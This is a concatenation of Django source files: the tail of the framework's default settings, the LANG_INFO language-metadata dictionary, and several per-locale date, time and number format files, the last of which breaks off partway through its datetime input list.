TEST_RUNNER = 'django.test.runner.DiscoverRunner'

# Apps that don't need to be serialized at test database creation time
# (only apps with migrations are to start with)
TEST_NON_SERIALIZED_APPS = []

############
# FIXTURES #
############

# The list of directories to search for fixtures
FIXTURE_DIRS = []

###############
# STATICFILES #
###############

# A list of locations of additional static files
STATICFILES_DIRS = []

# The default file storage backend used during the build process
STATICFILES_STORAGE = 'django.contrib.staticfiles.storage.StaticFilesStorage'

# List of finder classes that know how to find static files in
# various locations.
STATICFILES_FINDERS = [
    'django.contrib.staticfiles.finders.FileSystemFinder',
    'django.contrib.staticfiles.finders.AppDirectoriesFinder',
    # 'django.contrib.staticfiles.finders.DefaultStorageFinder',
]

##############
# MIGRATIONS #
##############

# Migration module overrides for apps, by app label.
MIGRATION_MODULES = {}

#################
# SYSTEM CHECKS #
#################

# List of all issues generated by system checks that should be silenced. Light
# issues like warnings, infos or debugs will not generate a message. Silencing
# serious issues like errors and criticals does not result in hiding the
# message, but Django will not stop you from e.g. running server.
SILENCED_SYSTEM_CHECKS = []

#######################
# SECURITY MIDDLEWARE #
#######################
SECURE_BROWSER_XSS_FILTER = False
SECURE_CONTENT_TYPE_NOSNIFF = False
SECURE_HSTS_INCLUDE_SUBDOMAINS = False
SECURE_HSTS_PRELOAD = False
SECURE_HSTS_SECONDS = 0
SECURE_REDIRECT_EXEMPT = []
SECURE_SSL_HOST = None
SECURE_SSL_REDIRECT = False






# -*- encoding: utf-8 -*-
from __future__ import unicode_literals

"""
LANG_INFO is a dictionary structure to provide meta information about languages.

About name_local: capitalize it as if your language name was appearing
inside a sentence in your language.
The 'fallback' key can be used to specify a special fallback logic which doesn't
follow the traditional 'fr-ca' -> 'fr' fallback logic.
"""

LANG_INFO = {
    'af': {
        'bidi': False,
        'code': 'af',
        'name': 'Afrikaans',
        'name_local': 'Afrikaans',
    },
    'ar': {
        'bidi': True,
        'code': 'ar',
        'name': 'Arabic',
        'name_local': 'العربيّة',
    },
    'ast': {
        'bidi': False,
        'code': 'ast',
        'name': 'Asturian',
        'name_local': 'asturianu',
    },
    'az': {
        'bidi': True,
        'code': 'az',
        'name': 'Azerbaijani',
        'name_local': 'Azərbaycanca',
    },
    'be': {
        'bidi': False,
        'code': 'be',
        'name': 'Belarusian',
        'name_local': 'беларуская',
    },
    'bg': {
        'bidi': False,
        'code': 'bg',
        'name': 'Bulgarian',
        'name_local': 'български',
    },
    'bn': {
        'bidi': False,
        'code': 'bn',
        'name': 'Bengali',
        'name_local': 'বাংলা',
    },
    'br': {
        'bidi': False,
        'code': 'br',
        'name': 'Breton',
        'name_local': 'brezhoneg',
    },
    'bs': {
        'bidi': False,
        'code': 'bs',
        'name': 'Bosnian',
        'name_local': 'bosanski',
    },
    'ca': {
        'bidi': False,
        'code': 'ca',
        'name': 'Catalan',
        'name_local': 'català',
    },
    'cs': {
        'bidi': False,
        'code': 'cs',
        'name': 'Czech',
        'name_local': 'česky',
    },
    'cy': {
        'bidi': False,
        'code': 'cy',
        'name': 'Welsh',
        'name_local': 'Cymraeg',
    },
    'da': {
        'bidi': False,
        'code': 'da',
        'name': 'Danish',
        'name_local': 'dansk',
    },
    'de': {
        'bidi': False,
        'code': 'de',
        'name': 'German',
        'name_local': 'Deutsch',
    },
    'dsb': {
        'bidi': False,
        'code': 'dsb',
        'name': 'Lower Sorbian',
        'name_local': 'dolnoserbski',
    },
    'el': {
        'bidi': False,
        'code': 'el',
        'name': 'Greek',
        'name_local': 'Ελληνικά',
    },
    'en': {
        'bidi': False,
        'code': 'en',
        'name': 'English',
        'name_local': 'English',
    },
    'en-au': {
        'bidi': False,
        'code': 'en-au',
        'name': 'Australian English',
        'name_local': 'Australian English',
    },
    'en-gb': {
        'bidi': False,
        'code': 'en-gb',
        'name': 'British English',
        'name_local': 'British English',
    },
    'eo': {
        'bidi': False,
        'code': 'eo',
        'name': 'Esperanto',
        'name_local': 'Esperanto',
    },
    'es': {
        'bidi': False,
        'code': 'es',
        'name': 'Spanish',
        'name_local': 'español',
    },
    'es-ar': {
        'bidi': False,
        'code': 'es-ar',
        'name': 'Argentinian Spanish',
        'name_local': 'español de Argentina',
    },
    'es-co': {
        'bidi': False,
        'code': 'es-co',
        'name': 'Colombian Spanish',
        'name_local': 'español de Colombia',
    },
    'es-mx': {
        'bidi': False,
        'code': 'es-mx',
        'name': 'Mexican Spanish',
        'name_local': 'español de Mexico',
    },
    'es-ni': {
        'bidi': False,
        'code': 'es-ni',
        'name': 'Nicaraguan Spanish',
        'name_local': 'español de Nicaragua',
    },
    'es-ve': {
        'bidi': False,
        'code': 'es-ve',
        'name': 'Venezuelan Spanish',
        'name_local': 'español de Venezuela',
    },
    'et': {
        'bidi': False,
        'code': 'et',
        'name': 'Estonian',
        'name_local': 'eesti',
    },
    'eu': {
        'bidi': False,
        'code': 'eu',
        'name': 'Basque',
        'name_local': 'Basque',
    },
    'fa': {
        'bidi': True,
        'code': 'fa',
        'name': 'Persian',
        'name_local': 'فارسی',
    },
    'fi': {
        'bidi': False,
        'code': 'fi',
        'name': 'Finnish',
        'name_local': 'suomi',
    },
    'fr': {
        'bidi': False,
        'code': 'fr',
        'name': 'French',
        'name_local': 'français',
    },
    'fy': {
        'bidi': False,
        'code': 'fy',
        'name': 'Frisian',
        'name_local': 'frysk',
    },
    'ga': {
        'bidi': False,
        'code': 'ga',
        'name': 'Irish',
        'name_local': 'Gaeilge',
    },
    'gd': {
        'bidi': False,
        'code': 'gd',
        'name': 'Scottish Gaelic',
        'name_local': 'Gàidhlig',
    },
    'gl': {
        'bidi': False,
        'code': 'gl',
        'name': 'Galician',
        'name_local': 'galego',
    },
    'he': {
        'bidi': True,
        'code': 'he',
        'name': 'Hebrew',
        'name_local': 'עברית',
    },
    'hi': {
        'bidi': False,
        'code': 'hi',
        'name': 'Hindi',
        'name_local': 'Hindi',
    },
    'hr': {
        'bidi': False,
        'code': 'hr',
        'name': 'Croatian',
        'name_local': 'Hrvatski',
    },
    'hsb': {
        'bidi': False,
        'code': 'hsb',
        'name': 'Upper Sorbian',
        'name_local': 'hornjoserbsce',
    },
    'hu': {
        'bidi': False,
        'code': 'hu',
        'name': 'Hungarian',
        'name_local': 'Magyar',
    },
    'ia': {
        'bidi': False,
        'code': 'ia',
        'name': 'Interlingua',
        'name_local': 'Interlingua',
    },
    'io': {
        'bidi': False,
        'code': 'io',
        'name': 'Ido',
        'name_local': 'ido',
    },
    'id': {
        'bidi': False,
        'code': 'id',
        'name': 'Indonesian',
        'name_local': 'Bahasa Indonesia',
    },
    'is': {
        'bidi': False,
        'code': 'is',
        'name': 'Icelandic',
        'name_local': 'Íslenska',
    },
    'it': {
        'bidi': False,
        'code': 'it',
        'name': 'Italian',
        'name_local': 'italiano',
    },
    'ja': {
        'bidi': False,
        'code': 'ja',
        'name': 'Japanese',
        'name_local': '日本語',
    },
    'ka': {
        'bidi': False,
        'code': 'ka',
        'name': 'Georgian',
        'name_local': 'ქართული',
    },
    'kk': {
        'bidi': False,
        'code': 'kk',
        'name': 'Kazakh',
        'name_local': 'Қазақ',
    },
    'km': {
        'bidi': False,
        'code': 'km',
        'name': 'Khmer',
        'name_local': 'Khmer',
    },
    'kn': {
        'bidi': False,
        'code': 'kn',
        'name': 'Kannada',
        'name_local': 'Kannada',
    },
    'ko': {
        'bidi': False,
        'code': 'ko',
        'name': 'Korean',
        'name_local': '한국어',
    },
    'lb': {
        'bidi': False,
        'code': 'lb',
        'name': 'Luxembourgish',
        'name_local': 'Lëtzebuergesch',
    },
    'lt': {
        'bidi': False,
        'code': 'lt',
        'name': 'Lithuanian',
        'name_local': 'Lietuviškai',
    },
    'lv': {
        'bidi': False,
        'code': 'lv',
        'name': 'Latvian',
        'name_local': 'latviešu',
    },
    'mk': {
        'bidi': False,
        'code': 'mk',
        'name': 'Macedonian',
        'name_local': 'Македонски',
    },
    'ml': {
        'bidi': False,
        'code': 'ml',
        'name': 'Malayalam',
        'name_local': 'Malayalam',
    },
    'mn': {
        'bidi': False,
        'code': 'mn',
        'name': 'Mongolian',
        'name_local': 'Mongolian',
    },
    'mr': {
        'bidi': False,
        'code': 'mr',
        'name': 'Marathi',
        'name_local': 'मराठी',
    },
    'my': {
        'bidi': False,
        'code': 'my',
        'name': 'Burmese',
        'name_local': 'မြန်မာဘာသာ',
    },
    'nb': {
        'bidi': False,
        'code': 'nb',
        'name': 'Norwegian Bokmal',
        'name_local': 'norsk (bokmål)',
    },
    'ne': {
        'bidi': False,
        'code': 'ne',
        'name': 'Nepali',
        'name_local': 'नेपाली',
    },
    'nl': {
        'bidi': False,
        'code': 'nl',
        'name': 'Dutch',
        'name_local': 'Nederlands',
    },
    'nn': {
        'bidi': False,
        'code': 'nn',
        'name': 'Norwegian Nynorsk',
        'name_local': 'norsk (nynorsk)',
    },
    'no': {
        'bidi': False,
        'code': 'no',
        'name': 'Norwegian',
        'name_local': 'norsk',
    },
    'os': {
        'bidi': False,
        'code': 'os',
        'name': 'Ossetic',
        'name_local': 'Ирон',
    },
    'pa': {
        'bidi': False,
        'code': 'pa',
        'name': 'Punjabi',
        'name_local': 'Punjabi',
    },
    'pl': {
        'bidi': False,
        'code': 'pl',
        'name': 'Polish',
        'name_local': 'polski',
    },
    'pt': {
        'bidi': False,
        'code': 'pt',
        'name': 'Portuguese',
        'name_local': 'Português',
    },
    'pt-br': {
        'bidi': False,
        'code': 'pt-br',
        'name': 'Brazilian Portuguese',
        'name_local': 'Português Brasileiro',
    },
    'ro': {
        'bidi': False,
        'code': 'ro',
        'name': 'Romanian',
        'name_local': 'Română',
    },
    'ru': {
        'bidi': False,
        'code': 'ru',
        'name': 'Russian',
        'name_local': 'Русский',
    },
    'sk': {
        'bidi': False,
        'code': 'sk',
        'name': 'Slovak',
        'name_local': 'Slovensky',
    },
    'sl': {
        'bidi': False,
        'code': 'sl',
        'name': 'Slovenian',
        'name_local': 'Slovenščina',
    },
    'sq': {
        'bidi': False,
        'code': 'sq',
        'name': 'Albanian',
        'name_local': 'shqip',
    },
    'sr': {
        'bidi': False,
        'code': 'sr',
        'name': 'Serbian',
        'name_local': 'српски',
    },
    'sr-latn': {
        'bidi': False,
        'code': 'sr-latn',
        'name': 'Serbian Latin',
        'name_local': 'srpski (latinica)',
    },
    'sv': {
        'bidi': False,
        'code': 'sv',
        'name': 'Swedish',
        'name_local': 'svenska',
    },
    'sw': {
        'bidi': False,
        'code': 'sw',
        'name': 'Swahili',
        'name_local': 'Kiswahili',
    },
    'ta': {
        'bidi': False,
        'code': 'ta',
        'name': 'Tamil',
        'name_local': 'தமிழ்',
    },
    'te': {
        'bidi': False,
        'code': 'te',
        'name': 'Telugu',
        'name_local': 'తెలుగు',
    },
    'th': {
        'bidi': False,
        'code': 'th',
        'name': 'Thai',
        'name_local': 'ภาษาไทย',
    },
    'tr': {
        'bidi': False,
        'code': 'tr',
        'name': 'Turkish',
        'name_local': 'Türkçe',
    },
    'tt': {
        'bidi': False,
        'code': 'tt',
        'name': 'Tatar',
        'name_local': 'Татарча',
    },
    'udm': {
        'bidi': False,
        'code': 'udm',
        'name': 'Udmurt',
        'name_local': 'Удмурт',
    },
    'uk': {
        'bidi': False,
        'code': 'uk',
        'name': 'Ukrainian',
        'name_local': 'Українська',
    },
    'ur': {
        'bidi': True,
        'code': 'ur',
        'name': 'Urdu',
        'name_local': 'اردو',
    },
    'vi': {
        'bidi': False,
        'code': 'vi',
        'name': 'Vietnamese',
        'name_local': 'Tiếng Việt',
    },
    'zh-cn': {
        'fallback': ['zh-hans'],
    },
    'zh-hans': {
        'bidi': False,
        'code': 'zh-hans',
        'name': 'Simplified Chinese',
        'name_local': '简体中文',
    },
    'zh-hant': {
        'bidi': False,
        'code': 'zh-hant',
        'name': 'Traditional Chinese',
        'name_local': '繁體中文',
    },
    'zh-hk': {
        'fallback': ['zh-hant'],
    },
    'zh-mo': {
        'fallback': ['zh-hant'],
    },
    'zh-my': {
        'fallback': ['zh-hans'],
    },
    'zh-sg': {
        'fallback': ['zh-hans'],
    },
    'zh-tw': {
        'fallback': ['zh-hant'],
    },
}












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j F Y'
TIME_FORMAT = 'G:i'
DATETIME_FORMAT = 'j F Y، ساعت G:i'
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'j F'
SHORT_DATE_FORMAT = 'Y/n/j'
SHORT_DATETIME_FORMAT = 'Y/n/j،‏ G:i'
FIRST_DAY_OF_WEEK = 6

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# DATE_INPUT_FORMATS =
# TIME_INPUT_FORMATS =
# DATETIME_INPUT_FORMATS =
DECIMAL_SEPARATOR = '.'
THOUSAND_SEPARATOR = ','
# NUMBER_GROUPING =












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'Y년 n월 j일'
TIME_FORMAT = 'A g:i'
DATETIME_FORMAT = 'Y년 n월 j일 g:i A'
YEAR_MONTH_FORMAT = 'Y년 n월'
MONTH_DAY_FORMAT = 'n월 j일'
SHORT_DATE_FORMAT = 'Y-n-j.'
SHORT_DATETIME_FORMAT = 'Y-n-j H:i'
# FIRST_DAY_OF_WEEK =

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# Kept ISO formats as they are in first position
DATE_INPUT_FORMATS = [
    '%Y-%m-%d', '%m/%d/%Y', '%m/%d/%y',  # '2006-10-25', '10/25/2006', '10/25/06'
    # '%b %d %Y', '%b %d, %Y',            # 'Oct 25 2006', 'Oct 25, 2006'
    # '%d %b %Y', '%d %b, %Y',            # '25 Oct 2006', '25 Oct, 2006'
    # '%B %d %Y', '%B %d, %Y',            # 'October 25 2006', 'October 25, 2006'
    # '%d %B %Y', '%d %B, %Y',            # '25 October 2006', '25 October, 2006'
    '%Y년 %m월 %d일',                   # '2006년 10월 25일', with localized suffix.
]
TIME_INPUT_FORMATS = [
    '%H:%M:%S',     # '14:30:59'
    '%H:%M:%S.%f',  # '14:30:59.000200'
    '%H:%M',        # '14:30'
    '%H시 %M분 %S초',   # '14시 30분 59초'
    '%H시 %M분',        # '14시 30분'
]
DATETIME_INPUT_FORMATS = [
    '%Y-%m-%d %H:%M:%S',     # '2006-10-25 14:30:59'
    '%Y-%m-%d %H:%M:%S.%f',  # '2006-10-25 14:30:59.000200'
    '%Y-%m-%d %H:%M',        # '2006-10-25 14:30'
    '%Y-%m-%d',              # '2006-10-25'
    '%m/%d/%Y %H:%M:%S',     # '10/25/2006 14:30:59'
    '%m/%d/%Y %H:%M:%S.%f',  # '10/25/2006 14:30:59.000200'
    '%m/%d/%Y %H:%M',        # '10/25/2006 14:30'
    '%m/%d/%Y',              # '10/25/2006'
    '%m/%d/%y %H:%M:%S',     # '10/25/06 14:30:59'
    '%m/%d/%y %H:%M:%S.%f',  # '10/25/06 14:30:59.000200'
    '%m/%d/%y %H:%M',        # '10/25/06 14:30'
    '%m/%d/%y',              # '10/25/06'

    '%Y년 %m월 %d일 %H시 %M분 %S초',  # '2006년 10월 25일 14시 30분 59초'
    '%Y년 %m월 %d일 %H시 %M분',       # '2006년 10월 25일 14시 30분'
]

DECIMAL_SEPARATOR = '.'
THOUSAND_SEPARATOR = ','
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'd F Y'  # 25 Ottobre 2006
TIME_FORMAT = 'H:i'  # 14:30
DATETIME_FORMAT = 'l d F Y H:i'  # Mercoledì 25 Ottobre 2006 14:30
YEAR_MONTH_FORMAT = 'F Y'  # Ottobre 2006
MONTH_DAY_FORMAT = 'j/F'  # 10/2006
SHORT_DATE_FORMAT = 'd/m/Y'  # 25/12/2009
SHORT_DATETIME_FORMAT = 'd/m/Y H:i'  # 25/10/2009 14:30
FIRST_DAY_OF_WEEK = 1  # Lunedì

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%d/%m/%Y', '%Y/%m/%d',  # '25/10/2006', '2008/10/25'
    '%d-%m-%Y', '%Y-%m-%d',  # '25-10-2006', '2008-10-25'
    '%d-%m-%y', '%d/%m/%y',  # '25-10-06', '25/10/06'
]
DATETIME_INPUT_FORMATS = [
    '%d/%m/%Y %H:%M:%S',     # '25/10/2006 14:30:59'
    '%d/%m/%Y %H:%M:%S.%f',  # '25/10/2006 14:30:59.000200'
    '%d/%m/%Y %H:%M',        # '25/10/2006 14:30'
    '%d/%m/%Y',              # '25/10/2006'
    '%d/%m/%y %H:%M:%S',     # '25/10/06 14:30:59'
    '%d/%m/%y %H:%M:%S.%f',  # '25/10/06 14:30:59.000200'
    '%d/%m/%y %H:%M',        # '25/10/06 14:30'
    '%d/%m/%y',              # '25/10/06'
    '%Y-%m-%d %H:%M:%S',     # '2006-10-25 14:30:59'
    '%Y-%m-%d %H:%M:%S.%f',  # '2006-10-25 14:30:59.000200'
    '%Y-%m-%d %H:%M',        # '2006-10-25 14:30'
    '%Y-%m-%d',              # '2006-10-25'
    '%d-%m-%Y %H:%M:%S',     # '25-10-2006 14:30:59'
    '%d-%m-%Y %H:%M:%S.%f',  # '25-10-2006 14:30:59.000200'
    '%d-%m-%Y %H:%M',        # '25-10-2006 14:30'
    '%d-%m-%Y',              # '25-10-2006'
    '%d-%m-%y %H:%M:%S',     # '25-10-06 14:30:59'
    '%d-%m-%y %H:%M:%S.%f',  # '25-10-06 14:30:59.000200'
    '%d-%m-%y %H:%M',        # '25-10-06 14:30'
    '%d-%m-%y',              # '25-10-06'
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j N Y'
DATETIME_FORMAT = "j N Y, G.i"
TIME_FORMAT = 'G.i'
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'j F'
SHORT_DATE_FORMAT = 'd-m-Y'
SHORT_DATETIME_FORMAT = 'd-m-Y G.i'
FIRST_DAY_OF_WEEK = 1  # Monday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%d-%m-%y', '%d/%m/%y',             # '25-10-09', 25/10/09'
    '%d-%m-%Y', '%d/%m/%Y',             # '25-10-2009', 25/10/2009'
    '%d %b %Y',                         # '25 Oct 2006',
    '%d %B %Y',                         # '25 October 2006'
]

TIME_INPUT_FORMATS = [
    '%H.%M.%S',                         # '14.30.59'
    '%H.%M',                            # '14.30'
]

DATETIME_INPUT_FORMATS = [
    '%d-%m-%Y %H.%M.%S',                # '25-10-2009 14.30.59'
    '%d-%m-%Y %H.%M.%S.%f',             # '25-10-2009 14.30.59.000200'
    '%d-%m-%Y %H.%M',                   # '25-10-2009 14.30'
    '%d-%m-%Y',                         # '25-10-2009'
    '%d-%m-%y %H.%M.%S',                # '25-10-09' 14.30.59'
    '%d-%m-%y %H.%M.%S.%f',             # '25-10-09' 14.30.59.000200'
    '%d-%m-%y %H.%M',                   # '25-10-09' 14.30'
    '%d-%m-%y',                         # '25-10-09''
    '%m/%d/%y %H.%M.%S',                # '10/25/06 14.30.59'
    '%m/%d/%y %H.%M.%S.%f',             # '10/25/06 14.30.59.000200'
    '%m/%d/%y %H.%M',                   # '10/25/06 14.30'
    '%m/%d/%y',                         # '10/25/06'
    '%m/%d/%Y %H.%M.%S',                # '25/10/2009 14.30.59'
    '%m/%d/%Y %H.%M.%S.%f',             # '25/10/2009 14.30.59.000200'
    '%m/%d/%Y %H.%M',                   # '25/10/2009 14.30'
    '%m/%d/%Y',                         # '10/25/2009'
]

DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = r'j \d\e F \d\e Y'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = r'j \d\e F \d\e Y \a \l\a\s H:i'
YEAR_MONTH_FORMAT = r'F \d\e Y'
MONTH_DAY_FORMAT = r'j \d\e F'
SHORT_DATE_FORMAT = 'd/m/Y'
SHORT_DATETIME_FORMAT = 'd/m/Y H:i'
FIRST_DAY_OF_WEEK = 1  # Monday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    # '31/12/2009', '31/12/09'
    '%d/%m/%Y', '%d/%m/%y'
]
DATETIME_INPUT_FORMATS = [
    '%d/%m/%Y %H:%M:%S',
    '%d/%m/%Y %H:%M:%S.%f',
    '%d/%m/%Y %H:%M',
    '%d/%m/%y %H:%M:%S',
    '%d/%m/%y %H:%M:%S.%f',
    '%d/%m/%y %H:%M',
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j. F Y'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = 'j. F Y H:i'
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'j. F'
SHORT_DATE_FORMAT = 'd.m.Y'
SHORT_DATETIME_FORMAT = 'd.m.Y H:i'
FIRST_DAY_OF_WEEK = 1

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%d.%m.%Y',                         # '25.10.2006'
]
DATETIME_INPUT_FORMATS = [
    '%d.%m.%Y %H:%M:%S',                # '25.10.2006 14:30:59'
    '%d.%m.%Y %H:%M:%S.%f',             # '25.10.2006 14:30:59.000200'
    '%d.%m.%Y %H:%M',                   # '25.10.2006 14:30'
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j F Y'
TIME_FORMAT = 'H:i'
# DATETIME_FORMAT =
# YEAR_MONTH_FORMAT =
MONTH_DAY_FORMAT = 'j F'
SHORT_DATE_FORMAT = 'j M Y'
# SHORT_DATETIME_FORMAT =
# FIRST_DAY_OF_WEEK =

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# DATE_INPUT_FORMATS =
# TIME_INPUT_FORMATS =
# DATETIME_INPUT_FORMATS =
DECIMAL_SEPARATOR = '.'
THOUSAND_SEPARATOR = ','
# NUMBER_GROUPING =












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j F Y'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = 'j F Y, H:i'
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'j F'
SHORT_DATE_FORMAT = 'd.m.Y'
SHORT_DATETIME_FORMAT = 'd.m.Y, H:i'
# FIRST_DAY_OF_WEEK =

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# DATE_INPUT_FORMATS =
# TIME_INPUT_FORMATS =
# DATETIME_INPUT_FORMATS =
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
# NUMBER_GROUPING =












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = r'j \d\e F \d\e Y'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = r'j \d\e F \d\e Y \á\s H:i'
YEAR_MONTH_FORMAT = r'F \d\e Y'
MONTH_DAY_FORMAT = r'j \d\e F'
SHORT_DATE_FORMAT = 'd-m-Y'
SHORT_DATETIME_FORMAT = 'd-m-Y, H:i'
FIRST_DAY_OF_WEEK = 1  # Monday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# DATE_INPUT_FORMATS =
# TIME_INPUT_FORMATS =
# DATETIME_INPUT_FORMATS =
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
# NUMBER_GROUPING =












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j F Y'
TIME_FORMAT = 'h:i A'
# DATETIME_FORMAT =
# YEAR_MONTH_FORMAT =
MONTH_DAY_FORMAT = 'j F'
SHORT_DATE_FORMAT = 'j M Y'
# SHORT_DATETIME_FORMAT =
# FIRST_DAY_OF_WEEK =

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# DATE_INPUT_FORMATS =
# TIME_INPUT_FORMATS =
# DATETIME_INPUT_FORMATS =
# DECIMAL_SEPARATOR =
# THOUSAND_SEPARATOR =
# NUMBER_GROUPING =












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

DATE_FORMAT = r'j \d\e F \d\e Y'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = r'j \d\e F \d\e Y \a \l\a\s H:i'
YEAR_MONTH_FORMAT = r'F \d\e Y'
MONTH_DAY_FORMAT = r'j \d\e F'
SHORT_DATE_FORMAT = 'd/m/Y'
SHORT_DATETIME_FORMAT = 'd/m/Y H:i'
FIRST_DAY_OF_WEEK = 1  # Monday: ISO 8601
DATE_INPUT_FORMATS = [
    '%d/%m/%Y', '%d/%m/%y',             # '25/10/2006', '25/10/06'
    '%Y%m%d',                           # '20061025'
]
DATETIME_INPUT_FORMATS = [
    '%d/%m/%Y %H:%M:%S',
    '%d/%m/%Y %H:%M:%S.%f',
    '%d/%m/%Y %H:%M',
    '%d/%m/%y %H:%M:%S',
    '%d/%m/%y %H:%M:%S.%f',
    '%d/%m/%y %H:%M',
]
DECIMAL_SEPARATOR = '.'   # ',' is also official (less common): NOM-008-SCFI-2002
THOUSAND_SEPARATOR = '\xa0'  # non-breaking space
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'd. F Y'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = 'j. F Y. H:i'
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'j. F'
SHORT_DATE_FORMAT = 'j. M. Y'
SHORT_DATETIME_FORMAT = 'j.n.Y. H:i'
FIRST_DAY_OF_WEEK = 0

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%d.%m.%Y', '%d.%m.%y',         # '25.10.2006', '25.10.06'
    '%d-%m-%Y',                     # '25-10-2006'
    '%d. %m. %Y', '%d. %m. %y',     # '25. 10. 2006', '25. 10. 06'
]

DATETIME_INPUT_FORMATS = [
    '%d.%m.%Y %H:%M:%S',            # '25.10.2006 14:30:59'
    '%d.%m.%Y %H:%M:%S.%f',         # '25.10.2006 14:30:59.000200'
    '%d.%m.%Y %H:%M',               # '25.10.2006 14:30'
    '%d.%m.%Y',                     # '25.10.2006'
    '%d.%m.%y %H:%M:%S',            # '25.10.06 14:30:59'
    '%d.%m.%y %H:%M:%S.%f',         # '25.10.06 14:30:59.000200'
    '%d.%m.%y %H:%M',                # '25.10.06 14:30'
    '%d.%m.%y',                     # '25.10.06'
    '%d-%m-%Y %H:%M:%S',            # '25-10-2006 14:30:59'
    '%d-%m-%Y %H:%M:%S.%f',         # '25-10-2006 14:30:59.000200'
    '%d-%m-%Y %H:%M',               # '25-10-2006 14:30'
    '%d-%m-%Y',                     # '25-10-2006'
    '%d. %m. %Y %H:%M:%S',          # '25. 10. 2006 14:30:59'
    '%d. %m. %Y %H:%M:%S.%f',       # '25. 10. 2006 14:30:59.000200'
    '%d. %m. %Y %H:%M',             # '25. 10. 2006 14:30'
    '%d. %m. %Y',                   # '25. 10. 2006'
